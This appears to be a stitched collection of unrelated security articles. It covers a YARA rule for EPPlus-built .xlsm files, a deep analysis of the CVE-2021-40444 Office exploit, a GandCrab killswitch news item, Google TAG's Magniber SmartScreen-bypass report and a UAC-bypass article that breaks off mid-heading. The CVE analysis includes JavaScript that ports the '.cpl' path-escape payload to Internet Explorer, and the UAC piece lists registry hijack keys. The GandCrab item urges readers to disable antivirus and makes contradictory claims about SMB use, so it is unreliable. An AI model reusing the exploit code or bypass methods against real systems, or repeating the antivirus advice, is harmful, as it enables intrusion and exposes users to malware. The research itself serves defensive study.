rule xlsm_without_metadata_and_with_date {
meta:
description = "Identifies .xlsm files created with EPPlus"
author = "NVISO (Didier Stevens)"
date = "2020-07-12"
tlp = "White"
strings:
$opc = "[Content_Types].xml"
$ooxml = "xl/workbook.xml"
$vba = "xl/vbaProject.bin"
$meta1 = "docProps/core.xml"
$meta2 = "docProps/app.xml"
$timestamp = {50 4B 03 04 ?? ?? ?? ?? ?? ?? 00 00 21 00}
condition:
uint32be(0) == 0x504B0304 and ($opc and $ooxml and $vba)
and not (any of ($meta*) and $timestamp)
}
```
This rule will match documents with VBA code created with EPPlus, even if they are not malicious. We had only a couple of false positives with this rule and quite some corrupt samples.
## MITRE ATT&CK MAPPING
- **Initial Access**: T1566.001 Phishing: Spearphishing Attachment
- **Execution**: T1204.002 User Execution: Malicious File
- **Defense Evasion**:
- T1140 Deobfuscate/Decode Files or Information
- T1036.005 Masquerading: Match Legitimate Name or Location
- T1027.001 Obfuscate Files or Information: Binary Padding
- T1027.002 Obfuscate Files or Information: Software Packing
- T1027.003 Obfuscate Files or Information: Steganography
- T1055.001 Process Injection: DLL Injection
- T1055.002 Process Injection: PE Injection
- T1497.001 Virtualization/Sandbox Evasion: System Checks
## Authors
This blog post was created based on the collaborative effort of NVISO. |
# Unpacking CVE-2021-40444: A Deep Technical Analysis of an Office RCE Exploit
**Bill Demirkapi**
January 7, 2022
In the middle of August 2021, a special Word document was uploaded to VirusTotal by a user from Argentina. Although it was only detected by a single antivirus engine at the time, this sample turned out to be exploiting a zero-day vulnerability in Microsoft Office to gain remote code execution. Three weeks later, Microsoft published an advisory after being notified of the exploit by researchers from Mandiant and EXPMON. It took Microsoft nearly a month from the time the exploit was first uploaded to VirusTotal to publish a patch for the zero-day.
In this blog post, I will be sharing my in-depth analysis of the several vulnerabilities abused by the attackers, how the exploit was patched, and how to port the exploit for a generic Internet Explorer environment.
## First Look
A day after Microsoft published their advisory, I saw a tweet from the malware collection group @vxunderground offering a malicious payload for CVE-2021-40444 to blue/red teams. I reached out to receive a copy, because why not? My curiosity has generally led me in the right direction for my life, and I was interested in seeing a Microsoft Word exploit that had been found in the wild.
With the payload in hand, one of the first steps I took was placing it into an isolated virtual machine with basic dynamic analysis tooling. Specifically, one of my favorite network monitoring utilities is Fiddler, a freemium tool that allows you to intercept web requests (including encrypted HTTPS traffic). After I opened the malicious Word document, Fiddler immediately captured strange HTTP requests to the domain "hidusi[.]com". For some reason, the Word document was making a request to "http://hidusi[.]com/e8c76295a5f9acb7/side.html".
At this point, the "hidusi[.]com" domain was already taken down. Fortunately, the "side.html" file being requested was included with the sample that was shared with me. Unfortunately, the HTML file was largely filled with obfuscated JavaScript. Although I could immediately decrypt this JavaScript and go from there, this is generally a bad idea to do at an early stage because we have no understanding of the exploit.
## Reproduction
Whenever I encounter a new vulnerability that I want to reverse engineer, my first goal is always to produce a minimal reproduction example of the exploit to ensure I have a working test environment and a basic understanding of how the exploit works. Having a reproduction case is critical to reverse engineering how the bug works because it allows for dynamic analysis.
Since the original "hidusi[.]com" domain was down, we needed to host our version of side.html. Hosting a file is easy, but how do we make the Word document use our domain instead? It was time to find where the URL to side.html was hidden inside the Word document.
### Raw Bytes of "A Letter before court 4.docx"
Did you know that Office documents are just ZIP files? As we can see from the bytes of the malicious document, the first few bytes are simply the magic value in the ZIP header. Once I extracted the document as a ZIP, finding the URL was relatively easy. I performed a string search across every file the document contained for the domain "hidusi[.]com".
Sure enough, I found one match inside the file "word/_rels/document.xml.rels". This file is responsible for defining relationships associated with embedded objects in the document. OLE objects are part of Microsoft's proprietary Object Linking and Embedding technology, which allows external documents, such as an Excel spreadsheet, to be embedded within a Word document.
### Strange Target for OLE Object
The relationship that contained the malicious URL was an external OLE object with a strange "Target" attribute containing the "mhtml" protocol. Let's unpack what's going on in this value.
1. In red, we see the URL Protocol "mhtml".
2. In green, we see the malicious URL our proxy caught.
3. In blue, we see an interesting "!x-usc" suffix appended to the malicious URL.
4. In purple, we see the same malicious URL repeated.
Let's investigate each piece one-by-one.
### Reproduction: What's "MHTML"?
A useful tool I've discovered in past research is URLProtocolView from Nirsoft. At a high level, URLProtocolView allows you to list and enumerate the URL protocols installed on your machine. The MHTML protocol used in the Target attribute was a Pluggable Protocol Handler, similar to HTTP. The inetcomm.dll module was responsible for handling requests to this protocol. Unlike MHTML, the HTTP protocol is handled by the urlmon.dll module.
When I was researching past exploits involving the MHTML protocol, I came across an interesting article all the way back from 2011 about CVE-2011-0096. In this case, a Google engineer publicly disclosed an exploit that they suspected malicious actors attributed to China had already discovered. Similar to this vulnerability, CVE-2011-0096 was only found to be used in "very targeted" attacks.
When I was researching implementations of exploits for CVE-2011-0096, I came across an exploit-db release that included an approach for abusing the vulnerability through a Word document. Specifically, in part #5 and #6 of the exploit, this author discovered that CVE-2011-0096 could be abused to launch executables on the local machine and read the contents of the local filesystem. The interesting part here is that this 2011 vulnerability involved abusing the MHTML URL protocol and that it allowed for remote code execution via a Word document, similar to the case with CVE-2021-4044.
### Reproduction: What about the "X-USC" in the Target?
Going back to our strange Target attribute, what is the "!x-usc:" portion for? I found a blog post from 2018 by @insertScript which discovered that the x-usc directive was used to reference an external link. In fact, the example URL given by the author still works on the latest version of Internet Explorer (IE). If you enter "mhtml:http://google.com/whatever!x-usc:http://bing.com" into your IE URL bar while monitoring network requests, there will be both a request to Google and Bing, due to the "x-usc" directive.
In the context of CVE-2021-40444, I was unable to discover a definitive answer for why the same URL was repeated after an "x-usc" directive. As we'll see in upcoming sections, the JavaScript in side.html is executed regardless of whether or not the attribute contains the "x-usc" suffix. It is possible that due to some potential race conditions, this suffix was added to execute the exploit twice to ensure successful payload delivery.
### Reproduction: Attempting to Create my Own Payload
Now that we know how the remote side.html page is triggered by the Word document, it was time to try and create our own. Although we could proceed by hosting the same side.html payload the attackers used in their exploit, it is important to produce a minimal reproduction example first.
Instead of hosting the second-stage side.html payload, I opted to write a barebone HTML page that would indicate JavaScript execution was successful. This way, we can understand how JavaScript is executed by the Word document before reverse engineering what the attacker's JavaScript does.
#### Test Payload to Prove JS Execution
In the example above, I created an HTML page that simply made an XMLHttpRequest to a non-existent domain. If the JavaScript is executed, we should be able to see a request to "icanseethisrequestonthenetwork.com" inside of Fiddler. Before testing in the actual Word document, I verified as a sanity check that this page does make the web request inside of Internet Explorer. Although the code may seem simple enough to where it would "obviously work", performing simple sanity checks like these on fundamental assumptions you make can greatly save you time debugging future issues. For example, if you don't verify a fundamental assumption and continue with reverse engineering, you could spend hours debugging the wrong issue when in fact you were missing a basic mistake.
### Modified Relationship with Barebone Payload
Once I patched the original Word document with my modified relationship XML, I launched it inside my VM with the Fiddler proxy running. I was seeing requests to the send_request.html payload! But... there were no requests to "icanseethisonthenetwork.com". We have demonstrated a flaw in our fundamental assumption that whatever HTML page we point the MHTML protocol towards will be executed.
How do you debug an issue like this? One approach would be to go in blind and try to reverse engineer the internals of the HTML engine to see why JavaScript wasn't being executed. The reason this is not a great idea is because often these codebases can be massive, and it would be like finding a needle in a haystack.
What can we do instead? Create a minimally viable reproduction case where the JavaScript of the HTML is executed. We know that the attacker's payload must have worked in their attack. What if instead of writing our own payload first, we tried to host their payload instead?
### Network Requests After Executing with Side.html Payload
I uploaded the attacker’s original "side.html" payload to my server and replaced the relationship in the Word document with that URL. When I executed this modified document in my VM, I saw something extremely promising—requests for "ministry.cab". This means that the attacker's JavaScript inside side.html was executed!
We have an MVP payload that gets executed by the Word document, now what? Although we could ignore our earlier problem with our own payload and try to figure out what the CAB file is used for directly, we'd be skipping a crucial step of the exploit. We want to understand CVE-2021-40444, not just reproduce it.
### Reproduction: Reverse Engineering Microsoft’s HTML Engine
The primary module responsible for processing HTML in Windows is MSHTML.DLL, the "Microsoft HTML Viewer". This binary alone is 22 MB because it contains almost everything from rendering HTML to executing JavaScript. For example, Microsoft has their own JavaScript engine in this binary used in Internet Explorer (and Word).
Given this massive size, blindly reversing is a terrible approach. What I like to do instead is use ProcMon to trace the execution of the successful (document with side.html) and failing payload (document with barebone HTML), then compare their results. I executed the attacker payload document and my own sample document while monitoring Microsoft Word with ProcMon.
### Microsoft Word Loading JScript9.dll in Success Case
With the number of operations an application like Microsoft Office makes, it can be difficult to sift through the noise. The best approach I have for this problem is to use my context to find relevant operations. In this case, since we were looking into the execution of JavaScript, I looked for operations involving the word “script”.
You might think, what can we do with relevant operations? An insanely useful feature of ProcMon is the ability to see the caller stack for a given operation. This lets you see what executed the operation.
### Stack Trace of JScript9.dll Module Load
It looked like the PostManExecute function was primarily responsible for triggering the complete execution of our payload. Using IDA Pro, I set a breakpoint on this function and opened both the successful and failing payloads. I found that when the success payload was launched, PostManExecute would be called, and the page would be loaded. On the failure case, however, PostManExecute was not called and thus the page was never executed. Now we needed to figure out why PostManExecute was being invoked for the attacker’s payload but not ours.
### Partial Stack Trace of JScript9.dll Module Load
Going back to the call stack, what’s interesting is that PostManExecute seems to be the result of a callback that is being invoked in an asynchronous thread.
### X-Refs to CDwnChan::OnMethodCall from Call Stack
Looking at the cross-references for the function called right after the asynchronous dispatcher, CDwnChan::OnMethodCall, I found that it seemed to be queued in another function called CDwnChan::Signal.
### Asynchronous Execution of CDwnChan::OnMethodCall inside CDwnChan::Signal
CDwnChan::Signal seemed to be using the function "_GWPostMethodCallEx" to queue the CDwnChan::OnMethodCall to be executed in the asynchronous thread we saw. Unfortunately, this Signal function is called from many places, and it would be a waste of time to try to statically reverse engineer every reference.
### X-Refs to Asynchronous Queue'ing Function __GWPostMethodCallEx
What can we do instead? Looking at the X-Refs for _GWPostMethodCallEx, it seemed like it was used to queue almost everything related to HTML processing. What if we hooked this function and compared the different methods that were queued between the success and failure path?
Whenever __GWPostMethodCallEx was called, I recorded the method being queued for asynchronous execution and the call stack. The diagram above demonstrates the methods that were queued during the execution of the successful payload and the failing payload. Strangely in the failure path, the processing of the HTML page was terminated (CDwnBindData::TerminateOnApt) before the page was ever executed.
### Callstack for CDwnBindData::TerminateOnApt
Why was the Terminate function being queued before the OnMethodCall function in the failure path? The call stacks for the Terminate function matched between the success and failure paths. Let’s reverse engineer those functions.
### Partial Pseudocode of CDwnBindData::Read
When I debugged the CDwnBindData::Read function, which called the Terminate function, I found that a call to CDwnStm::Read was working in the success path but returning an error in the failure path. This is what terminated the page execution for our sample payload! The third argument to CDwnStm::Read was supposed to be the number of bytes the client should try to read from the server. For some reason, the client was expecting 4096 bytes, and my barebone HTML file was not that big.
As a sanity check, I added a bunch of useless padding to the end of my HTML file to make its size 4096+ bytes. Let’s see our network requests with this modified payload.
### Modified Barebone HTML with Padding to 4096 bytes
We had now found and fixed the issue with our barebone HTML page! But our work isn't over yet. We wouldn’t be great reverse engineers if we didn’t investigate why the client was expecting 4096 bytes in the first place.
### Partial Pseudocode of CHtmPre::GetReadRequestSize
I traced back the origin of the expected size to a call in CHtmPre::Read to CHtmPre::GetReadRequestSize. Stepping through this function in a debugger, I found that a field at offset 136 of the CHtmPre class represented the request size the client should expect. How can we find out why this value is 4096? Something had to write to it at some point.
### Partial Pseudocode of CHtmPre Constructor
Since we were looking at a class function of the CHtmPre class, I set a breakpoint on the constructor for this class. When the debugger reached the constructor, I placed a write memory breakpoint for the field offset we saw (+ 136).
### Partial Pseudocode of CEncodeReader Constructor when the Write Breakpoint Hit
The breakpoint hit! And not so far away either. The 4096 value was being set inside of another object constructor, CEncodeReader::CEncodeReader. This constructor was instantiated by the CHtmPre constructor we just hooked. Where did the 4096 come from then? It was hardcoded into the CHtmPre constructor!
### Partial Pseudocode of CHtmPre Constructor, Highlighting Hardcoded 4096 Value
What was happening was that when the CHtmPre instance was constructed, it had a default read size of 4096 bytes. The client was reading the bytes from the HTTP response before this field was updated with the real response size. Since our barebone payload was just a small HTML page under 4096 bytes, the client thought that the server hadn’t sent the required response and thus terminated the execution.
The reason the attacker's payload worked is that it was above 4096 bytes in size. We just found a bug still present in Microsoft’s HTML processor!
### Reproduction: Fixing the Attacker's Payload
We figured out how to make sure our payload executes. If you recall to an earlier section of this blog post, we saw that a request to a "ministry.cab" file was being made by the attacker's side.html payload. Fortunately for us, the attacker’s sample came with the CAB file the server was originally serving.
This CAB file was interesting. It had a single file named "../msword.inf", suggesting a relative path escape attack. This INF file was a PE binary for the attacker’s Cobalt Strike beacon. I replaced this file with a simple DLL that opened Calculator for testing. Unfortunately, when I uploaded this CAB file to my server, I saw a successful request to it but no Calculator.
### Operations involving msword.inf from CAB file
I monitored Word with ProcMon once again to try and see what was happening with the CAB file. I filtered for "msword.inf" and found interesting operations where Word was writing it to the VM user's %TEMP% directory. The "VerifyTrust" function name in the call stack suggested that the INF file was written to the TEMP directory while it was trying to verify its signature.
Let's step through these functions to figure out what's going on.
### Partial Pseudocode of Cwvt::VerifyTrust
After stepping through Cwvt::VerifyTrust with a debugger, I found that the function attempted to verify the signature of files contained within the CAB file. Specifically, if the CAB file included an INF file, it would extract it to disk and try to verify its digital signature.
What was happening was that the extraction process didn't have any security measures, allowing for an attacker to use relative path escapes to get out of the temporary directory that was generated for the CAB file.
The attackers were using a zero-day with ActiveX controls:
1. The attacker’s JavaScript (side.html) would attempt to execute the CAB file as an ActiveX control.
2. This triggered Microsoft’s security controls to verify that the CAB file was signed and safe to execute.
3. Unfortunately, Microsoft handled this CAB file without care, and although the signature verification fails, it allowed an attacker to extract the INF file to another location with relative path escapes.
If there was a user-writable directory where if you could put a malicious INF file, it would execute your malware, then they could have stopped here with their exploit. This isn’t a possibility though, so they needed some way to execute the INF file as a PE binary.
### Strange control.exe Execution with INF File in Command Line
Going back to ProcMon, I tried to see why the INF file wasn’t being executed. It looks like they were using another exploit to trigger execution of "control.exe".
The attackers were triggering the execution of a Control Panel Item. The command line for control.exe suggested they were using the ".cpl" file extension as a URL protocol and then used relative path escapes to trigger the INF file.
Why wasn’t my Calculator DLL being executed then? Entirely my mistake! I was executing the Word document from a nested directory, but the attackers were only spraying a few relative path escapes that never reached my user directory. This makes sense because this document is intended to be executed from a victim's Downloads folder, whereas I was hosting the file inside of a nested Documents directory.
I placed the Word document in my Downloads folder and… voila: Calculator being Executed by Word Document.
## Reversing the Attacker's Payload
We have a working exploit! Now the next step to understanding the attack is to reverse engineer the attacker’s malicious JavaScript. If you recall, it was somewhat obfuscated. As someone with experience with JavaScript obfuscators, it didn’t seem like the attacker’s did too much, however.
### Common JavaScript String Obfuscation Technique seen in Attacker's Code
A common pattern I see with attempts at string obfuscation in JavaScript is an array containing a bunch of strings and the rest of the code referencing strings through an unknown function which referenced that array. In this case, we can see a string array named "a0_0x127f" which is referenced inside of the global function "a0_0x15ec". Looking at the rest of the JavaScript, we can see that several parts of it call this unknown function with a numerical index, suggesting that this function is used to retrieve a deobfuscated version of the string.
### String Deobfuscation Script
This approach to string obfuscation is relatively easy to get past. I wrote a small script to find all calls to the encryption function, resolve what the string was, and replace the entire call with the real string. Instead of worrying about the mechanics of the deobfuscation function, we can just call into it like the real code does to retrieve the deobfuscated string.
### Before String Deobfuscation
### After String Deobfuscation
This worked extremely well, and we now have a relatively deobfuscated version of their script. The rest of the deobfuscation was just combining strings, getting rid of "indirect" calls to objects, and naming variables given their context. I can’t cover each step in detail because there were a lot of minor steps for this last part, but there was nothing especially notable. I tried naming the variables the best I could given the context around them and commented out what I thought was happening.
Let’s review what the script does.
### Part #1 of Deobfuscated JavaScript: Create and Destroy an IFrame
In this first part, the attackers created an iframe element, retrieved the ActiveX scripting interface for that iframe, and destroyed the iframe. Although the iframe has been destroyed, the ActiveX interface is still live and can be used to execute arbitrary HTML/JavaScript.
### Part #2 of Deobfuscated JavaScript: Create Nested ActiveX HTML Documents
In this next part, the attackers used the destroyed iframe's ActiveX interface to create three nested HTML documents. I am not entirely sure what the purpose of these nested documents serves because if the attackers only used the original ActiveX interface without any nesting, the exploit works fine.
### Part #3 of Deobfuscated JavaScript: Create ActiveX Control and Trigger INF File
This final section is what performs the primary exploits. The attackers make a request to the exploit CAB file ("ministry.cab") with an XMLHttpRequest. Next, the attackers create a new ActiveX Control object inside of the third nested HTML document created in the last step. The class ID and version of this ActiveX control are arbitrary and can be changed, but the important piece is that the ActiveX Control points at the previously requested CAB file. URLMON will automatically verify the signature of the ActiveX Control CAB file, which is when the malicious INF file is extracted into the user's temporary directory.
To trigger their malicious INF payload, the attackers use the ".cpl" file extension as a URL Protocol with a relative path escape in a new HTML document. This causes control.exe to start rundll32.exe, passing the INF file as the Control Panel Item to execute.
### Overview of the Attack
We covered a significant amount in the previous sections; let's summarize the attack from start to finish:
1. A victim opens the malicious Word document.
2. Word loads the attacker's HTML page as an OLE object and executes the contained JavaScript.
3. An IFrame is created and destroyed, but a reference to its ActiveX scripting surface remains.
4. The CAB file is invoked by creating an ActiveX control for it.
5. While the CAB file's signature is verified, the contained INF file is written to the user's Temp directory.
6. Finally, the INF is invoked by using the ".cpl" extension as a URL protocol, using relative path escapes to reach the temporary directory.
## Reversing Microsoft's Patch
When Microsoft released its advisory for this bug on September 7th, they had no patch! To save face, they claimed Windows Defender was a mitigation, but that was just a detection for the attacker's exploit. The underlying vulnerability was untouched. It took them nearly a month from when the first known sample was uploaded to VirusTotal (August 19th) to finally fix the issue on September 14th with a Patch Tuesday update. Let’s take a look at the major changes in this patch.
A popular practice by security researchers is to find the differences in binaries that used to contain vulnerabilities with the patched binary equivalent. I updated my system but saved several DLL files from my unpatched machine. There are a couple of tools that are great for finding assembly-level differences between two similar binaries:
1. BinDiff by Zynamics
2. Diaphora by Joxean Koret
I went with Diaphora because it is more advanced than BinDiff and allows for easy pseudo-code level comparisons. The primary binaries I diff'd were:
1. IEFRAME.dll - This is what executed the URL protocol for ".cpl".
2. URLMON.dll - This is what had the CAB file extraction exploit.
### Reversing Microsoft's Patch: IEFRAME
Once I diff’d the updated and unpatched binary, I found ~1000 total differences, but only ~30 major changes. One function that had heavy changes and was associated with the CPL exploit was _AttemptShellExecuteForHlinkNavigate.
#### Pseudocode Diff of _AttemptShellExecuteForHlinkNavigate
In the old version of IEFRAME, this function simply used ShellExecuteW to open the URL protocol with no verification. This is why the CPL file extension was processed as a URL protocol. In the new version, they added a significant number of checks for the URL protocol. Let’s compare the differences.
### Patched _AttemptShellExecuteForHlinkNavigate Pseudocode
New IsValidSchemeName Function
In the patched version of _AttemptShellExecuteForHlinkNavigate, the primary addition that prevents the use of file extensions as URL Protocols is the call to IsValidSchemeName. This function takes the URL Protocol that is being used (i.e ".cpl") and verifies that all characters in it are alphanumerical. For example, this exploit used the CPL file extension to trigger the INF file. With this patch, ".cpl" would fail the IsValidSchemeName function because it contains a period which is non-alphanumerical.
An important factor to note is that this patch for using file extensions as URL Protocols only applies to MSHTML. File extensions are still exposed for use in other attacks against ShellExecute, which is why I wouldn't be surprised if we saw similar techniques in future vulnerabilities.
### Reversing Microsoft's Patch: URLMON
I performed the same patch diffing on URLMON and found a major change in catDirAndFile. This function was used during extraction to generate the output path for the INF file.
### Patched catDirAndFile Pseudocode
The patch for the CAB extraction exploit was extremely simple. All Microsoft did was replace any instance of a forward slash with a backslash. This prevents the INF extraction exploit of the CAB file because backslashes are ignored for relative path escapes.
## Abusing CVE-2021-40444 in Internet Explorer
Although Microsoft's advisory covers an attack scenario where this vulnerability is abused in Microsoft Office, could we exploit this bug in another context? Since Microsoft Office uses the same engine Internet Explorer uses to display web pages, could CVE-2021-40444 be abused to gain remote code execution from a malicious page opened in IE? When I tried to visit the same payload used in the Word document, the exploit did not work "out of the box", specifically due to an error with the pop-up blocker.
### IE blocks .cpl popup
Although the CAB extraction exploit was successfully triggered, the attempt to launch the payload failed because Internet Explorer considered the ".cpl" exploit to be creating a pop-up. Fortunately, we can port the .cpl exploit to get around this pop-up blocker relatively easily. Instead of creating a new page, we can simply redirect the current page to the ".cpl" URL.
```javascript
function redirect() {
//
// Redirect current window without creating new one,
// evading the IE pop up blocker.
//
window.location = ".cpl:../../../AppData/Local/Temp/Low/msword.inf";
document.getElementById("status").innerHTML = "Done";
}
//
// Trigger in 500ms to give time for the .cab file to extract.
//
setTimeout(function() {
redirect()
}, 500);
```
With the small addition of the redirect, CVE-2021-40444 works without issue in Internet Explorer. The complete code for this ported HTML/JS payload can be found here.
## Conclusion
CVE-2021-40444 is in fact comprised of several vulnerabilities as we investigated in this blog post. Not only was there the initial step of extracting a malicious file to a predictable location through the CAB file exploit, but there was also the fact that URL Protocols could be file extensions.
In the latest patch, Word still executes pages with JavaScript if you use the MHTML protocol. What’s frightening to me is that the entire attack surface of Internet Explorer is exposed to attackers through Microsoft Word. That is a lot of legacy code. Time will tell what other vulnerabilities attackers will abuse in Internet Explorer through Microsoft Office. |
# Killswitch File Now Available for GandCrab v4.1.2
The South Korean company Ahnlab has developed a Killswitch for the latest version of the virus, calling itself v4.1.2, causing the ransomware to stop functioning. Ahnlab has reportedly analyzed the internal version 4.1.2 of GandCrab ransomware, which is part of the 4.1 version, using the .KRAB file extension after file encryption. Researchers have then designed an app that works as a defensive measure and can be dropped on users’ computers before they become infected with GandCrab 4.1.2. For the defense tactic to work, you will need to get the file, which has a string in its name and has the .lock file extension. Such .lock files are essential to GandCrab’s way of operation and here are the steps in which they are created:
1. GandCrab 4.1.2 infects your computer and encrypts your files.
2. The virus creates a .lock file with a mutex, for which the virus scans for comparing the file to the .lock files of other infected computers.
3. If the .lock file already belongs to GandCrab’s infected computers’ list, the virus shuts down and doesn’t encrypt anything to prevent double encryption and infection from taking place.
Researchers have cleverly devised such a .lock file, which acts as a killswitch. IMPORTANT NOTICE! Your antivirus may detect the killswitch as a virus, but it is also available on Ahnlab’s research site above and we believe that the file can be trusted, because it is not an actual GandCrab but merely a method used to prevent the actual threat. Be advised to disable your antivirus and anti-malware software before downloading the file.
After downloading the file, victims should save it either in the %Application Data% directory for older Windows versions or in the %ProgramData% directory for Windows 7 and newer versions of the operating system. This prevents your computer from certain file encryption, even if GandCrab v4.1.2 has already infected the machine.
## New Updates in GandCrab v4.1.2
GandCrab is the type of ransomware that has been spreading and infecting computers since January 2018. The virus has undergone major changes since then, using fake dental records and other fake .exe files to infect user PCs. The malware, which preyed on users who had SMBv1 enabled on their machines, has been updated in a 4.1 version, which has evolved into its current 4.1.2 internal variant. The latest version of GandCrab is using more and more methods to spread, like the newer EternalBlue exploits used in the WannaCry outbreak that happened back in 2017. However, this newer version of the virus has also stopped using some older exploits, like SMB, to infect computers, suggesting newer operating systems to be targeted.
One thing has remained certain – GandCrab still uses the same methods to spread, and they are not likely to be automatic, since the virus uses spam emails with malicious attachments of all types and may also upload the infection files on suspicious and low-reputation sites. It is strongly advisable to apply proper anti-malware protection and also make sure to learn how to safely store your important files in order to protect yourself from malware infections like GandCrab.
Ventsislav Krastev is a cybersecurity expert at SensorsTechForum since 2015. He has been researching, covering, helping victims with the latest malware infections, plus testing and reviewing software and the newest tech developments. Having graduated in Marketing as well, Ventsislav has a passion for learning new shifts and innovations in cybersecurity that become game changers. After studying Value Chain Management, Network Administration, and Computer Administration of System Applications, he found his true calling within the cybersecurity industry and is a strong believer in the education of every user towards online safety and security. |
# Magniber Ransomware Actors Used a Variant of Microsoft SmartScreen Bypass
**Benoit Sevens**
**March 14, 2023**
**Threat Analysis Group**
Google’s Threat Analysis Group (TAG) recently discovered usage of an unpatched security bypass in Microsoft’s SmartScreen security feature, which financially motivated actors are using to deliver the Magniber ransomware without any security warnings. The attackers are delivering MSI files signed with an invalid but specially crafted Authenticode signature. The malformed signature causes SmartScreen to return an error that results in bypassing the security warning dialog displayed to users when an untrusted file contains a Mark-of-the-Web (MotW), which indicates a potentially malicious file has been downloaded from the internet. TAG reported its findings to Microsoft on February 15, 2023. The security bypass was patched today as CVE-2023-24880 in Microsoft’s Patch Tuesday release.
TAG has observed over 100,000 downloads of the malicious MSI files since January 2023, with over 80% to users in Europe — a notable divergence from Magniber’s typical targeting, which usually focuses on South Korea and Taiwan. Google Safe Browsing displayed user warnings for over 90% of these downloads.
## The Previous SmartScreen Bypass: CVE-2022-44698
In September 2022, Magniber ransomware was delivered using JScript files. In October, HP Threat Research blogged about these Magniber campaigns, upon which a security researcher noticed a bug in SmartScreen that allowed an attacker to use a malformed Authenticode signature to bypass SmartScreen security warnings. On October 28, 0patch published additional research and patch recommendations.
In mid-November, other threat actors adopted the same bypass to spread the Qakbot malware. The Authenticode signatures in the November 2022 Qakbot campaigns were strikingly similar to those used by Magniber, suggesting the two operators either purchased the bypasses from the same provider or copied each others’ technique. Microsoft patched the security bypass in December 2022 as CVE-2022-44698.
Similar to the bypass occurring now, Magniber ransomware actors used CVE-2022-44698 before a patch was made available. However, the Magniber actors used JScript files during the previous campaigns, whereas in the current campaign they are using MSI files with a different type of malformed signature.
## Security Bypass Details
### CVE-2022-44698
Root cause analysis: As described in 0patch’s blog, when the explorer.exe process runs a file, the shdocvw.dll module will perform a request to the AppReputationService interface implemented in smartscreen.exe to get a verdict.
By default, shdocvw.dll’s DoSafeOpenPromptForShellExec will not display a security warning, and if the smartscreen.exe request returns an error for whatever reason, DoSafeOpenPromptForShellExec proceeds with using the default option and runs the file without displaying any security warnings to the user.
In CVE-2022-44698’s case, a JScript file with a malformed signature was used to force the SmartScreen request to return an error, triggering the behavior described above to bypass the security warning. The error was raised while parsing the file’s signature in the function windows::security::signature_info::retrieve of smartscreen.exe.
Specifically, this function will first call WTGetSignatureInfo in wintrust.dll to retrieve a CERT_CONTEXT structure pointer cert_context and a HANDLE wvt_state_data. The cert_context, for a well-formed signature, will point to the signer certificate, which is the first certificate in the certificate chain.
Next, the function calls WTHelperProvDataFromStateData on wvt_state_data, which returns a CRYPT_PROVIDER_DATA structure pointer crypt_provider_data. Now, if crypt_provider_data and its member hMsg are non-NULL, but cert_context is NULL, an E_INVALIDARG error is raised.
### Bypass
Authenticode signatures are encoded in PKCS #7 SignedData structures. A SignedData structure contains, amongst other things, a list of certificates that are required to validate the signature and a SignerInfo structure. The SignerInfo structure in its turn contains the issuer and serial number of the signer certificate, which can then be looked up in the SignedData certificates.
In practice, the attackers achieved a NULL cert_context by providing an Authenticode signature where the SignerInfo certificate serial number cannot be found among the SignedData certificates. This leads to wintrust.dll not being able to find the certificate for the signer, in which case WTGetSignatureInfo will return a NULL value for cert_context.
Magniber used CVE-2022-44698 by providing a signer certificate serial number that is not present in the signature certificates. It’s noteworthy that the signatures in the November 2022 Qakbot campaigns are highly similar to the Magniber signatures, except for a few randomized fields.
### CVE-2023-24880
Root cause analysis: Microsoft patched CVE-2022-44698 in smartscreen.exe, by not raising an error in this specific case, but rather taking an alternative path.
The problem with this patch is that THROW_HR is called from many other places in smartscreen.exe when different errors are encountered. Every one of these is a potential opportunity for an attacker to return an error to shdocvw.dll, which will fail open and not display a security warning.
This is exactly the route the attackers took with the new bypass. The signature in this case leads to a valid cert_context, so the CVE-2022-44698 patch is not applicable. Further on, windows::security::signature_info::retrieve calls windows::security::authenticode_information::create. This function checks if crypt_provider_data->pPDSip->psIndirectData is non-NULL. If not, it calls THROW_HR which will again return an error to shdocvw.dll.
### Bypass
To obtain a NULL crypt_provider_data->pPDSip->psIndirectData, the attackers corrupted the ASN1 numerical identifier (NID) of the SPC_INDIRECT_DATA_OBJID, an Authenticode specific Object Identifier (OID) which contains, for example, the message digest of the signed file.
Magniber corrupted the SPC_INDIRECT_DATA_OBJID NID, which leads to crypt_provider_data->pPDSip->psIndirectData being NULL and an error being raised.
## Conclusion
This security bypass is an example of a larger trend Project Zero has highlighted previously: vendors often release narrow patches, creating an opportunity for attackers to iterate and discover new variants. When patching a security issue, there is tension between a localized, reliable fix, and a potentially harder fix of the underlying root cause issue. Because the root cause behind the SmartScreen security bypass was not addressed, the attackers were able to quickly identify a different variant of the original bug. Project Zero has written and presented extensively on this trend and recommends several practices to ensure bugs are correctly and comprehensively fixed.
## Indicators of Compromise (IoCs)
- ad89fb8819f98e38cddf6135004e1d93e8c8e4cba681ba16d408c4d69317eb47 (CVE-2022-44698, Magniber)
- 77e3a3bc905f9a172e95ba70bf01c3236e6c6423f537fa728b1bda5a40a77fe3 (CVE-2022-44698, Qakbot)
- 8efb4e8bc17486b816088679d8b10f8985a31bc93488c4b65116f56872c1ff16 (CVE-2023-24880, Magniber) |
# Exploring Windows UAC Bypasses: Techniques and Detection Strategies
Malware often requires full administrative privileges on a machine to perform impactful actions such as adding an antivirus exclusion, encrypting secured files, or injecting code into interesting system processes. Even if the targeted user has administrative privileges, the prevalence of User Account Control (UAC) means that the malicious application will often default to Medium Integrity, preventing write access to resources with higher integrity levels. To bypass this restriction, an attacker will need a way to elevate integrity level silently and with no user interaction (no UAC prompt). This technique is known as a User Account Control bypass and relies on a variety of primitives and conditions, the majority of which are based on piggybacking elevated Windows features.
## UAC Bypass Methods
UAC bypass methods usually result in hijacking the normal execution flow of an elevated application by spawning a malicious child process or loading a malicious module inheriting the elevated integrity level of the targeted application. The most common hijack methods are:
### Registry Key Manipulation
The goal of manipulating a registry key is to redirect the execution flow of an elevated program to a controlled command. The most abused key values are related to shell open commands for specific extensions or environment variables manipulation:
- `HKCU\Software\Classes\<targeted_extension>\shell\open\command` (Default or DelegateExecute values)
- `HKCU\Environment\windir`
- `HKCU\Environment\systemroot`
For instance, when `fodhelper` (a Windows binary that allows elevation without requiring a UAC prompt) is launched by malware as a Medium integrity process, Windows automatically elevates `fodhelper` from a Medium to a High integrity process. The High integrity `fodhelper` then attempts to open an `ms-settings` file using its default handler. Since the medium-integrity malware has hijacked this handler, the elevated `fodhelper` will execute a command of the attacker’s choosing as a high integrity process.
UAC bypasses based on environment variable manipulation often work when UAC is set to Always Notify (the maximum UAC level) as they often don’t involve writing files to secured paths or starting an auto-elevated application. Changes to `SystemRoot` or `Windir` from the current user registry to non-expected values are very suspicious and should be a high-confidence signal for detection.
### DLL Hijack
